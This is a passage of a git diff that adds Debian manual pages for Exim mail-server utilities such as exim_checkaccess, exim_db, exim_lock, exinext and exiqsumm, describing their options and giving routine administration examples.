+e.g. if resolving a
+.B hostname
+in local_host_blacklist returns a temporary error (DNS timeout) exim
+will not be able to check whether a connecting host is part of the list.
+Exim will therefore return a temporary SMTP error for
+.I every
+connecting host.
+
+On the other hand if there is a permanent error in resolving a name in the
+host list (the record was removed from DNS) exim behaves as if the host
+does not match the list. e.g. a local_host_blacklist consisting of
+
+notresolvable.example.com:rejectme.example.com
+
+is equivalent to an empty one. - Exim tries to match the IP-address of the
+connecting host to notresolvable.example.com, resolving this IP by DNS
+fails, exim behaves as if the connecting host does not match the list. List
+processing stops at this point!
+
+Starting the list with the special pattern +ignore_unknown as a
+safeguard against this behavior is strongly recommended if hostnames are
+used in hostlists.
+
+See Exim specification Chapter
+.I Domain, host, address, and local part lists
+, section
+.I Behaviour when an IP address or name cannot be found.
+<http://www.exim.org/exim\-html\-current/doc/html/spec_html/ch\-domain_host_address_and_local_part_lists.html>
+
+.SH SEE ALSO
+.br
+.BR exim (8),
+.br
+.BR update\-exim4.conf(8),
+.br
+.BR /usr/share/doc/exim4\-base/,
+.br
+and for general notes and details about interaction with debconf
+.BR /usr/share/doc/exim4\-base/README.Debian.gz
+
+.SH AUTHOR
+Marc Haber <mh+debian-packages@zugschlus.de> with help from Ross Boylan.
+
diff --git a/debian/manpages/exim_checkaccess.8 b/debian/manpages/exim_checkaccess.8
new file mode 100644
index 0000000..5a32d22
--- /dev/null
+++ b/debian/manpages/exim_checkaccess.8
@@ -0,0 +1,80 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXIM_CHECKACCESS 8 "March 26, 2003"
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+exim_checkaccess \- Check address acceptance from given IP
+.SH SYNOPSIS
+.B exim_checkaccess
+.I IP-address email@address [more Exim options]
+
+.SH DESCRIPTION
+.B Exim's
+.I \-bh
+command line argument allows you to run a fake SMTP session with debugging
+output, in order to check what Exim is doing when it is applying policy
+controls to incoming SMTP mail.
+However, not everybody is sufficiently familiar with the SMTP protocol to
+be able to make full use of \-bh, and sometimes you just want to answer the
+question \(lqDoes this address have access?\(rq without bothering with any
+further details.
+
+The
+.B exim_checkaccess
+utility is a \(oqpackaged\(cq version of
+.I \-bh.
+It takes two arguments, an IP address and an email address:
+
+ exim_checkaccess 10.9.8.7 A.User@a.domain.example
+
+The utility runs a call to
+.B Exim
+with the \-bh option, to test whether the given email address would be
+accepted in a RCPT command in a TCP/IP connection from the host with the
+given IP address.
+The output of the utility is either the word \(oqaccepted\(cq, or the SMTP error
+response, for example:
+
+ Rejected:
+ 550 Relay not permitted
+
+When running this test, the utility uses \(lq<>\(rq as the envelope sender
+address for the MAIL command, but you can change this by providing additional
+options. These are passed directly to the Exim command.
+For example, to specify that the test is to be run with the sender address
+\(lqhimself@there.example\(rq you can use:
+
+ exim_checkaccess 10.9.8.7 A.User@a.domain.example \\
+ \-f himself@there.example
+
+Note that these additional Exim command line items must be given after the
+two mandatory arguments.
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+/usr/share/doc/exim4\-base/
+
+.SH AUTHOR
+This manual page was stitched together from spec.txt by
+Andreas Metzler <ametzler at downhill.at.eu.org>,
+for the Debian GNU/Linux system (but may be used by others).
diff --git a/debian/manpages/exim_convert4r4.8 b/debian/manpages/exim_convert4r4.8
new file mode 100644
index 0000000..dbe62b8
--- /dev/null
+++ b/debian/manpages/exim_convert4r4.8
@@ -0,0 +1,73 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXIM_CONVERT4R4 8 "March 26, 2003"
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+exim_convert4r4 \- Convert Exim configuration from v3 to v4 format
+.SH SYNOPSIS
+.B exim_convert4r4
+
+.SH DESCRIPTION
+This script is provided to assist in updating Exim configuration files.
+It reads an Exim 3 configuration file on the standard input, and writes a
+modified file on the standard output.
+It also writes comments about what it has done to the standard error file.
+It assumes that the input is a valid Exim 3 configuration file.
+A typical call to the conversion script might be
+
+.I exim_convert4r4 < /etc/exim/exim.conf > /etc/exim4/exim4.conf.new
+
+The output file
+.B MUST
+be checked and tested before trying to use it on a live system.
+The conversion script is just an aid which does a lot of the \(lqgrunt
+work\(rq.
+It does not guarantee to produce an Exim 4 configuration that behaves
+exactly the same as the Exim 3 configuration it reads.
+
+Each option change in the new file is preceded by an identifying comment.
+In fact, the conversion script tends to make quite a mess of your
+configuration, and you should expect to go through it afterwards and tidy
+it up by hand.
+
+Unless you are running a very straightforward configuration, the automatic
+conversion is likely to generate a non-optimal configuration.
+You should not only check it thoroughly, but also run as many tests as you
+can, to ensure that it is working as you expect.
+In particular, you should test address routing, using \-bt and \-bv, and the
+policy controls, using \-bh.
+If possible, you should also do some live tests (i.e. send and receive
+some messages) before putting Exim 4 into service.
+
+If you have a very complicated configuration, it is possible that
+exim_convert4r4 will break it in some situations, which is why thorough
+testing is strongly recommended.
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+the files in /usr/share/doc/exim4\-base/, especially Exim4.upgrade.gz
+
+.SH AUTHOR
+This manual page was stitched together from Exim4.upgrade by
+Andreas Metzler <ametzler at downhill.at.eu.org>,
+for the Debian GNU/Linux system (but may be used by others).
diff --git a/debian/manpages/exim_db.8 b/debian/manpages/exim_db.8
new file mode 100644
index 0000000..1e25aa2
--- /dev/null
+++ b/debian/manpages/exim_db.8
@@ -0,0 +1,193 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXIM_DB 8 "December 26, 2012"
+.\" Please adjust this date whenever revising the manpage.
+.\" Up to date for 4.80
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+exim_db \- Exim's hint databases maintenance (exim_dumpdb, exim_fixdb, exim_tidydb)
+.SH SYNOPSIS
+.B exim_dumpdb
+.I spooldir database
+.br
+.B exim_fixdb
+.I spooldir database
+.br
+.B exim_tidydb
+.I [\-f] [\-t time] spooldir database
+
+.SH DESCRIPTION
+Three utility programs are provided for maintaining the DBM files that
+Exim uses to contain its delivery hint information.
+Each program requires two arguments.
+The first specifies the name of Exim's spool directory, and the second is
+the name of the database it is to operate on.
+These are as follows:
+.TP
+.B retry
+the database of retry information
+.TP
+.B wait\-<transport name>
+databases of information about messages waiting for remote hosts
+.TP
+.B callout
+the callout cache
+.TP
+.B ratelimit
+the data for implementing the ratelimit ACL condition
+.TP
+.B misc
+other hints data (for example, for serializing ETRN runs)
+.P
+The entire contents of a database are written to the standard output by the
+.B exim_dumpdb
+program, which has no options or arguments other than the spool
+and database names.
+For example, to dump the retry database:
+
+.I exim_dumpdb /var/spool/exim4 retry
+
+Two lines of output are produced for each entry:
+.nf
+ T:mail.ref.example:192.168.242.242 146 77 Connection refused
+ 31-Oct-1995 12:00:12 02-Nov-1995 12:21:39 02-Nov-1995 20:21:39 *
+
+.fi
+The first item on the first line is the key of the record.
+It starts with one of the letters R, or T, depending on whether it refers
+to a routing or transport retry.
+For a local delivery, the next part is the local address; for a remote
+delivery it is the name of the remote host, followed by its failing IP
+address (unless \(lqretry_include_ip_address\(rq is set false on the smtp
+transport). If the remote port is not the standard one (port 25), it is
+added to the IP address.
+Then there follows an error code, an additional error code, and a
+textual description of the error.
+
+The three times on the second line are the time of first failure, the time of
+the last delivery attempt, and the computed time for the next attempt.
+The line ends with an asterisk if the cutoff time for the last retry rule
+has been exceeded.
+
+Each output line from
+.B exim_dumpdb
+for the
+.I wait\-xxx
+databases consists of a host name followed by a list of ids for messages
+that are or were waiting to be delivered to that host.
+If there are a very large number for any one host, continuation records,
+with a sequence number added to the host name, may be seen.
+The data in these records is often out of date, because a message may be
+routed to several alternative hosts, and Exim makes no effort to keep
+cross-references.
+
+The
+.B exim_tidydb
+utility program is used to tidy up the contents of a hints database.
+If run with no options, it removes all records that are more than 30 days
+old. The age is calculated from the date and time that the record was last
+updated. Note that, in the case of the retry database, it is not the time
+since the first delivery failure. Information about a host that has been
+down for more than 30 days will remain in the database, provided that the
+record is updated sufficiently often.
+
+The cutoff date can be altered by means of the \-t option, which must be
+followed by a time.
+For example, to remove all records older than a week from the retry
+database:
+
+.I exim_tidydb \-t 7d /var/spool/exim4 retry
+
+Both the
+.I wait\-xxx
+and
+.I retry
+databases contain items that involve message ids.
+In the former these appear as data in records keyed by host - they were
+messages that were waiting for that host - and in the latter they are the
+keys for retry information for messages that have suffered certain types
+of error.
+When \(lqexim_tidydb\(rq is run, a check is made to ensure that message ids in
+database records are those of messages that are still on the queue.
+Message ids for messages that no longer exist are removed from \(lqwait\-\(rqxxx
+records, and if this leaves any records empty, they are deleted.
+For the \(lqretry\(rq database, records whose keys are non-existent message
+ids are removed.
+The
+.B exim_tidydb
+utility outputs comments on the standard output whenever it removes
+information from the database.
+
+Certain records are automatically removed by Exim when they are no longer
+needed, but others are not. For example, if all the MX hosts for a domain
+are down, a retry record is created for each one. If the primary MX host
+comes back first, its record is removed when Exim successfully delivers to
+it, but the records for the others remain because Exim has not tried to use
+those hosts.
+
+It is important, therefore, to run \(lqexim_tidydb\(rq periodically on all
+the hints databases. You should do this at a quiet time of day, because it
+requires a database to be locked (and therefore inaccessible to Exim) while
+it does its work. Removing records from a DBM file does not normally make
+the file smaller, but all the common DBM libraries are able to re-use the
+space that is released. After an initial phase of increasing in size, the
+databases normally reach a point at which they no longer get any bigger, as
+long as they are regularly tidied.
+
+Warning: If you never run \(lqexim_tidydb\(rq, the space used by the hints
+databases is likely to keep on increasing.
+
+The
+.B exim_fixdb
+program is a utility for interactively modifying databases.
+Its main use is for testing Exim, but it might also be occasionally useful
+for getting round problems in a live system.
+It has no options, and its interface is somewhat crude.
+On entry, it prompts for input with a right angle-bracket.
+A key of a database record can then be entered, and the data for that
+record is displayed.
+
+If \(oqd\(cq is typed at the next prompt, the entire record is deleted.
+For all except the
+.I retry
+database, that is the only operation that can be carried out.
+For the
+.I retry
+database, each field is output preceded by a number, and data for individual
+fields can be changed by typing the field number followed by new data, for
+example:
+
+ > 4 951102:1000
+
+resets the time of the next delivery attempt.
+Time values are given as a sequence of digit pairs for year, month, day,
+hour, and minute.
+Colons can be used as optional separators.
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+/usr/share/doc/exim4\-base/
+
+.SH AUTHOR
+This manual page was stitched together from spec.txt by
+Andreas Metzler <ametzler at downhill.at.eu.org>,
+for the Debian GNU/Linux system (but may be used by others).
diff --git a/debian/manpages/exim_dbmbuild.8 b/debian/manpages/exim_dbmbuild.8
new file mode 100644
index 0000000..2b4658a
--- /dev/null
+++ b/debian/manpages/exim_dbmbuild.8
@@ -0,0 +1,105 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXIM_DBMBUILD 8 "March 26, 2003"
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+exim_dbmbuild \- Build a DBM file.
+.SH SYNOPSIS
+.B exim_dbmbuild
+.I [\-nolc] [\-nozero] [\-noduperr] [\-nowarn] inputfile|\- outputfile
+
+.SH DESCRIPTION
+The
+.B exim_dbmbuild
+program reads an input file containing keys and data in
+the format used by the
+.I lsearch
+lookup (see section 9.1).
+It writes a DBM file using the lower-cased alias names as keys and the
+remainder of the information as data.
+The lower-casing can be prevented by calling the program with the
+.I \-nolc
+option.
+
+A terminating zero is included as part of the key string.
+This is expected by the dbm lookup type.
+However, if the option
+.I \-nozero
+is given,
+.B exim_dbmbuild
+creates files without terminating zeroes in either the key strings or the
+data strings.
+The
+.I dbmnz
+lookup type can be used with such files.
+
+The program requires two arguments: the name of the input file (which can
+be a single hyphen to indicate the standard input), and the name of the
+output file.
+It creates the output under a temporary name, and then renames it if all
+went well.
+If the native DB interface is in use (USE_DB is set in a compile-time
+configuration file - this is common in free versions of Unix) the two file
+names must be different, because in this mode the Berkeley DB functions
+create a single output file using exactly the name given.
+For example,
+
+ exim_dbmbuild /etc/aliases /etc/aliases.db
+
+reads the system alias file and creates a DBM version of it in
+/etc/aliases.db.
+
+In systems that use the
+.I ndbm
+routines (mostly proprietary versions of Unix), two files are used, with the
+suffixes .dir and .pag.
+In this environment, the suffixes are added to the second argument of
+.B exim_dbmbuild,
+so it can be the same as the first.
+This is also the case when the Berkeley functions are used in
+compatibility mode (though this is not recommended), because in that case
+it adds a .db suffix to the file name.
+
+If a duplicate key is encountered, the program outputs a warning, and when
+it finishes, its return code is 1 rather than zero, unless the
+.I \-noduperr
+option is used.
+By default, only the first of a set of duplicates is used - this makes it
+compatible with lsearch lookups.
+There is an option
+.I \-lastdup
+which causes it to use the data for the last duplicate instead.
+There is also an option
+.I \-nowarn,
+which stops it listing duplicate keys to \(lqstderr\(rq.
+For other errors, where it doesn't actually make a new file, the return
+code is 2.
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+/usr/share/doc/exim4\-base/
+
+.SH AUTHOR
+This manual page was stitched together from spec.txt by
+Andreas Metzler <ametzler at downhill.at.eu.org>,
+for the Debian GNU/Linux system (but may be used by others).
diff --git a/debian/manpages/exim_lock.8 b/debian/manpages/exim_lock.8
new file mode 100644
index 0000000..725084a
--- /dev/null
+++ b/debian/manpages/exim_lock.8
@@ -0,0 +1,137 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXIM_LOCK 8 "March 26, 2003"
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+exim_lock \- Mailbox maintenance
+.SH SYNOPSIS
+.B exim_lock
+.RI [ options ] mailbox-file
+
+.SH DESCRIPTION
+The
+.B exim_lock
+utility locks a mailbox file using the same algorithm as Exim.
+For a discussion of locking issues, see section 25.2.
+.B exim_lock
+can be used to prevent any modification of a mailbox by Exim or a user
+agent while investigating a problem.
+The utility requires the name of the file as its first argument.
+If the locking is successful, the second argument is run as a command
+(using C's \(lqsystem()\(rq function); if there is no second argument, the value
+of the SHELL environment variable is used; if this is unset or empty,
+/bin/sh is run.
+When the command finishes, the mailbox is unlocked and the utility ends.
+The following options are available:
+.TP
+.I \-fcntl
+Use \(lqfcntl()\(rq locking on the open mailbox.
+.TP
+.I \-interval
+This must be followed by a number, which is a number of seconds; it
+sets the interval to sleep between retries (default 3).
+.TP
+.I \-lockfile
+Create a lock file before opening the mailbox.
+.TP
+.I \-mbx
+Lock the mailbox using MBX rules.
+.TP
+.I \-q
+Suppress verification output.
+.TP
+.I \-retries
+This must be followed by a number; it sets the number of times to try
+to get the lock (default 10).
+.TP
+.I \-timeout
+This must be followed by a number, which is a number of seconds; it
+sets a timeout to be used with a blocking \(lqfcntl()\(rq lock.
+If it is not set (the default), a non-blocking call is used.
+.TP
+.I \-v
+Generate verbose output.
+
+If none of
+.I \-fcntl, \-lockfile
+or
+.I \-mbx
+are given, the default is to create a lock file and also use \(lqfcntl()\(rq locking
+on the mailbox, which is the same as
+.B Exim's
+default.
+The use of
+.I \-fcntl
+requires that the file be writable; the use
+of
+.I \-lockfile
+requires that the directory containing the file be writable.
+Locking by lock file does not last for ever; Exim assumes that a lock file
+is expired if it is more than 30 minutes old.
+
+The
+.I \-mbx
+option is mutually exclusive with
+.I \-fcntl.
+It causes a shared lock to be taken out on the open mailbox, and an
+exclusive lock on the file /tmp/.n.m where n and m are the device number
+and inode number of the mailbox file.
+When the locking is released, if an exclusive lock can be obtained for the
+mailbox, the file in /tmp is deleted.
+
+The default output contains verification of the locking that takes place.
+The
+.I \-v
+option causes some additional information to be given.
+The
+.I \-q
+option suppresses all output except error messages.
+.PP
+A command such as
+
+ exim_lock /var/spool/mail/spqr
+
+runs an interactive shell while the file is locked, whereas
+
+ exim_lock \-q /var/spool/mail/spqr <<End
+ <some commands>
+ End
+
+runs a specific non-interactive sequence of commands while the file is
+locked, suppressing all verification output.
+A single command can be run by a command such as
+
+ exim_lock \-q /var/spool/mail/spqr \
+ "cp /var/spool/mail/spqr /some/where"
+
+Note that if a command is supplied, it must be entirely contained within
+the second argument - hence the quotes.
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+/usr/share/doc/exim4\-base/
+
+.SH AUTHOR
+This manual page was stitched together from spec.txt by
+Andreas Metzler <ametzler at downhill.at.eu.org>,
+for the Debian GNU/Linux system (but may be used by others).
diff --git a/debian/manpages/eximon.8 b/debian/manpages/eximon.8
new file mode 100644
index 0000000..400d9cd
--- /dev/null
+++ b/debian/manpages/eximon.8
@@ -0,0 +1,50 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXIMON 8 "March 26, 2003"
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+eximon \- Monitor Exim
+.SH SYNOPSIS
+.B eximon
+
+.SH DESCRIPTION
+The Exim monitor is an application which displays in an X window information
+about the state of
+.B Exim's
+queue and what
+.B Exim is doing.
+An admin user can perform certain operations on messages from this GUI
+interface; however all such facilities are also available from the command
+line, and indeed, the monitor itself makes use of the command line to
+perform any actions requested.
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+/usr/share/doc/exim4\-base/.
+Eximon is documented extensivly in the
+.B specification of the exim mail transfer agent.
+
+.SH AUTHOR
+This manual page was stitched together from spec.txt by
+Andreas Metzler <ametzler at downhill.at.eu.org>,
+for the Debian GNU/Linux system (but may be used by others).
diff --git a/debian/manpages/exinext.8 b/debian/manpages/exinext.8
new file mode 100644
index 0000000..8aaaf8f
--- /dev/null
+++ b/debian/manpages/exinext.8
@@ -0,0 +1,73 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXINEXT 8 "March 26, 2003"
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+exinext \- Finding individual retry times
+.SH SYNOPSIS
+.B exinext
+.I address|message-id
+
+.SH DESCRIPTION
+A utility called
+.B exinext
+(mostly a Perl script) provides the ability to fish specific information
+out of the retry database.
+Given a mail domain (or a complete address), it looks up the hosts for
+that domain, and outputs any retry information for the hosts or for the
+domain.
+At present, the retry information is obtained by running
+.B exim_dumpdb
+(see below) and processing the output.
+For example:
+
+ exinext piglet@milne.fict.example
+ kanga.milne.fict.example:192.168.8.1 error 146: Connection refused
+ first failed: 21-Feb-1996 14:57:34
+ last tried: 21-Feb-1996 14:57:34
+ next try at: 21-Feb-1996 15:02:34
+ roo.milne.fict.example:192.168.8.3 error 146: Connection refused
+ first failed: 20-Jan-1996 13:12:08
+ last tried: 21-Feb-1996 11:42:03
+ next try at: 21-Feb-1996 19:42:03
+ past final cutoff time
+
+You can also give
+.B exinext
+a local part, without a domain, and it will give any retry information for
+that local part in your default domain.
+A message id can be used to obtain retry information pertaining to a
+specific message.
+This exists only when an attempt to deliver a message to a remote host
+suffers a message-specific error (see section 42.2).
+.B exinext
+is not particularly efficient, but then it isn't expected to be run very often.
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+/usr/share/doc/exim4\-base/
+
+.SH AUTHOR
+This manual page was stitched together from spec.txt by
+Andreas Metzler <ametzler at downhill.at.eu.org>,
+for the Debian GNU/Linux system (but may be used by others).
diff --git a/debian/manpages/exiqgrep.8 b/debian/manpages/exiqgrep.8
new file mode 100644
index 0000000..e436237
--- /dev/null
+++ b/debian/manpages/exiqgrep.8
@@ -0,0 +1,88 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXIQGREP 8 "March 26, 2003"
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+exiqgrep \- Search in the exim queue
+.SH SYNOPSIS
+.B exiqgrep
+.I [\-a] [\-c]
+
+.SH DESCRIPTION
+The
+.B exiqgrep
+utility is a Perl script which offers possibilities to grep in the
+exim queue output. Unlike exiqsumm, it invokes exim \-bpu itself and
+does not need to be invoked in a pipe.
+
+.SH OPTIONS
+.TP 10
+\fB\-h\fR
+Print help
+.TP
+\fB\-f <regexp>\fR
+Match sender address (field is \(lq< >\(rq wrapped)
+.TP
+\fB\-r <regexp>\fR
+Match recipient address
+.TP
+\fB\-s <regexp>\fR
+Match against the site field from long output
+.TP
+\fB\-y <seconds>\fR
+Message younger than
+.TP
+\fB\-o <seconds>\fR
+Message older than
+.TP
+\fB\-z\fR
+Frozen messages only (exclude non-frozen)
+.TP
+\fB\-x\fR
+Non-frozen messages only (exclude frozen)
+.TP
+\fB\-c\fR
+Display match count
+.TP
+\fB\-l\fR
+Long Format [Default]
+.TP
+\fB\-i\fR
+Message IDs only
+.TP
+\fB\-b\fR
+Brief Format
+.TP
+\fB\-R\fR
+Reverse order
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+/usr/share/doc/exim4\-base/
+
+.SH AUTHOR
+This manual page was stitched together from the source code by Marc
+Haber <mh+debian\-packages@zugschlus.de>, using the exiqsumm man page by
+Andreas Metzler <ametzler at downhill.at.eu.org>,
+for the Debian GNU/Linux system (but may be used by others).
+
diff --git a/debian/manpages/exiqsumm.8 b/debian/manpages/exiqsumm.8
new file mode 100644
index 0000000..e228320
--- /dev/null
+++ b/debian/manpages/exiqsumm.8
@@ -0,0 +1,74 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXIQSUMM 8 "March 26, 2003"
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+exiqsumm \- Summarising the queue
+.SH SYNOPSIS
+.B exiqsumm
+.I [\-a] [\-c]
+
+.SH DESCRIPTION
+The
+.B exiqsumm
+utility is a Perl script which reads the output of
+.I exim \-bp
+and produces a summary of the messages on the queue.
+Thus, you use it by running a command such as
+
+ exim \-bp | exiqsumm
+
+The output consists of one line for each domain that has messages waiting
+for it, as in the following example:
+
+ 3 2322 74m 66m msn.com.example
+
+This lists the number of messages for the domain, their total volume, and
+the length of time that the oldest and the newest messages have been
+waiting.
+By default the output is sorted on the domain name, but
+.B exiqsumm
+has the options
+.I \-a
+and
+.I \-c,
+which cause the output to be sorted by oldest message and by count of
+messages, respectively.
+
+The output of
+.I exim \-bp
+contains the original addresses in the message, so this also applies to
+the output from
+.B exiqsumm.
+No domains from addresses generated by aliasing or forwarding are included
+(unless the \(lqone_time\(rq option of the redirect router has been used to
+convert them into \(oqtop level\(cq addresses).
+
+.SH BUGS
+This manual page needs a major re-work. If somebody knows better groff
+than us and has more experience in writing manual pages, any patches
+would be greatly appreciated.
+
+.SH SEE ALSO
+.BR exim (8),
+/usr/share/doc/exim4\-base/
+
+.SH AUTHOR
+This manual page was stitched together from spec.txt by
+Andreas Metzler <ametzler at downhill.at.eu.org>,
+for the Debian GNU/Linux system (but may be used by others).
diff --git a/debian/manpages/exiwhat.8 b/debian/manpages/exiwhat.8
new file mode 100644
index 0000000..ca727e6
--- /dev/null
+++ b/debian/manpages/exiwhat.8
@@ -0,0 +1,102 @@
+.\" Hey, EMACS: -*- nroff -*-
+.\" First parameter, NAME, should be all caps
+.\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
+.\" other parameters are allowed: see man(7), man(1)
+.TH EXIWHAT 8 "March 26, 2003"
+.\" Please adjust this date whenever revising the manpage.
+.\"
+.\" Some roff macros, for reference:
+.\" .nh disable hyphenation
+.\" .hy enable hyphenation
+.\" .ad l left justify
+.\" .ad b justify to both left and right margins
+.\" .nf disable filling
+.\" .fi enable filling
+.\" .br insert line break
+.\" .sp <n> insert n+1 empty lines
+.\" for manpage-specific macros, see man(7)
+.\" \(oqthis text is enclosed in single quotes\(cq
+.\" \(lqthis text is enclosed in double quotes\(rq
+.SH NAME
+exiwhat \- Finding out what Exim processes are doing
+.SH SYNOPSIS
+.B exiwhat
+
+.SH DESCRIPTION
+On operating systems that can restart a system call after receiving a
+signal (most modern OS), an
+.B Exim
+process responds to the SIGUSR1 signal by writing a line describing what
+it is doing to the file exim\-process.info in the Exim spool directory.
+The
+.B exiwhat
+script sends the signal to all
+.B Exim
+processes it can find, having first emptied the file.
+It then waits for one second to allow the
+.B Exim
+processes to react before displaying the results.
+In order to run
+.B exiwhat
+successfully you have to have sufficient privilege to send the signal to
+the
+.B Exim
+processes, so it is normally run as root.
+
+Unfortunately, the
+.B ps
+command which
+.B exiwhat
+uses to find
+.B Exim
